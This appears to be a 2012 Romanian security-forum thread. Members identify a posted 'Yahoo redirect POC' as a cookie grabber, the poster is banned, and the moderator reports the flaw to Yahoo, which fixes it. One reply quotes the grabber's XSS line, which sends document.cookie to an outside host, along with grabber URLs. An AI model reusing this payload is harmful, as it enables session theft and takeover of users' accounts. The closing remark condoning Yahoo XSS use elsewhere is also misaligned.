POC poc pac pac yahoo redirect

[bebemic]

NOT found by me

Removed

se pare ca merge un redirect de pe yahoo

nu stiu ce si cum

nu intrebati

// Vedem daca iei ban

Edited April 2, 2012 by Nytro

[BanSticKy]

Posibil cookie grabber. La 2 minute dupa ce am intrat pe link, mi-a intrat cineva pe mail.

Pas.

[malsploit]

linia 101:

<script>document.location='http://microsoft-ceh.org/cookie/yahoo.php?ex='.concat(escape(document.cookie)); </script>

Ati mai stricat unu.

[malsploit]

http://microsoft-ceh.org/awstats/awstats.pl/

[Guest expl0iter]

http://microsoft-ceh.org/cookie/hacked.php

cookie grabber

[Nytro]

Ban permanent.

Si am trimis mail la Yahoo. Daca nu ii convine cuiva, _|_.

[noVaLue]

Alt cookie grabber derivat din cel isr, ma intreb daca e vulnerabil la js xss backdoor

[Guest expl0iter]

Alt cookie grabber derivat din cel isr, ma intreb daca e vulnerabil la js xss backdoor

Este chiar ISR Y!cg, doar ca e schimbata grafica .

Stiu ca tu stiai cum sa treci de pass...

Thanks Nytro.. A mai picat un xss

Edited April 2, 2012 by expl0iter

[Nytro]

"Thank you for sending this to Yahoo!. It has been passed along to the correct teams to investigate. Should there be question, we will contact you here. If a fix is required, we will again contact you and ask that you see the issue as resolved."

Cateva ore mai tarziu:

"A fix has been put in place and we ask that you see this issue as resolved."

Mi-a facut placere, expl0iter.

Faceti ce vreti cu XSS-urile de Yahoo, dar nu pe RST.